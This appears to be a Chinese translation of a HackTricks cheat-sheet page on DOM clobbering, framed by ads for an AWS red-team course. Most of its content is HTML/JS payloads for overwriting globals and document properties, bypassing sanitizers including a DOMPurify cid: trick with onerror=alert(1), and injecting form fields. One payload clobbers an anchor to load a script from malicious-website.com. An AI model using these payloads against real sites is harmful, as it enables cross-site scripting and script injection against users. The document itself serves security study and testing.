Dom Clobbering

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

基础知识

可以使用HTML标签中的**idname属性在JS上下文中生成全局变量**。

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

只有某些元素可以使用name属性来覆盖全局变量,它们是:embedformiframeimageimgobject

有趣的是,当您使用form元素覆盖一个变量时,您将获得元素本身的**toString值:[object HTMLFormElement],但使用anchor时,toString将是锚点的href。因此,如果您使用a标签来覆盖,您可以在将其视为字符串时控制值**:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

数组和属性

也可以篡改数组对象属性

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

要覆盖第三个属性(例如 x.y.z),您需要使用一个**form**:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

通过使用 iframes,覆盖更多属性会变得更加复杂但仍然可能

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

样式标签用于给iframe足够的时间来渲染。如果没有它,你会发现一个未定义的警报。

要深入破坏更多属性,可以使用带有HTML编码的iframe,如下所示:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

绕过过滤器

如果一个过滤器正在通过类似 document.getElementByID('x').attributes 这样的方式循环遍历节点的属性,你可以覆盖属性**.attributes破坏过滤器**。其他 DOM 属性如**tagNamenodeNameparentNode等也是可以覆盖**的。

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Clobbering window.someObject

在 JavaScript 中经常会发现:

var someObject = window.someObject || {};

操纵页面上的HTML允许用DOM节点覆盖someObject,可能引入安全漏洞。例如,您可以用指向恶意脚本的锚元素替换someObject

<a id=someObject href=//malicious-website.com/malicious.js></a>

在一个易受攻击的代码中,例如:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

这种方法利用脚本源来执行不需要的代码。

技巧DOMPurify 允许您使用 cid: 协议,该协议不会对双引号进行 URL 编码。这意味着您可以注入一个编码的双引号,在运行时将被解码。因此,注入类似于 <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> 这样的内容将使 HTML 编码的 &quot; 在运行时解码从属性值中逃逸,以创建 onerror 事件。

另一种技术使用了一个 form 元素。某些客户端库会检查新创建的表单元素的属性以进行清理。但是,通过在表单内添加一个带有 id=attributesinput,您实际上覆盖了属性,阻止了消毒剂访问实际属性。

您可以在这篇 CTF 解密中找到这种类型的覆盖示例

覆盖文档对象

根据文档,可以使用 DOM 覆盖来覆盖文档对象的属性:

文档接口支持命名属性文档对象在任何时刻支持的属性名称包括以下内容,按照贡献它们的元素的树顺序排列,忽略后续的重复,并且在相同元素同时贡献 id 属性和 name 属性时,来自 id 属性的值优先于来自 name 属性的值:

- 所有具有非空名称内容属性并且在文档树中具有文档作为公开 embedformiframeimg公开 object元素的名称内容属性的值; - 所有具有非空id内容属性并且在文档树中具有文档作为公开 object元素的id内容属性的值; - 所有具有非空id内容属性和非空名称内容属性的id内容属性的值的img元素,且在文档树中具有文档作为

使用这种技术,您可以覆盖常用的值,如 document.cookiedocument.bodydocument.children,甚至文档接口中的方法,如 document.querySelector

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

在元素被篡改后写入

document.getElementById()document.querySelector() 的调用结果可以通过注入具有相同id属性的 <html><body> 标签来进行更改。以下是如何实现的:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

此外,通过使用样式来隐藏这些注入的HTML/body标签,可以防止innerText中其他文本的干扰,从而增强攻击的效果:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

调查发现SVG可以有效地利用<body>标签:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

要使HTML标签在Chrome和Firefox等浏览器中在SVG内起作用,需要使用<foreignobject>标签:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering Forms

可以通过在某些标签中指定form属性来向表单中添加新条目。您可以使用这种方法向表单中添加新值,甚至可以添加一个新的按钮来发送它(点击劫持或滥用一些.click() JS代码):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
  • 有关更多表单属性,请查看此处

参考资料

从零开始学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)!

最后更新于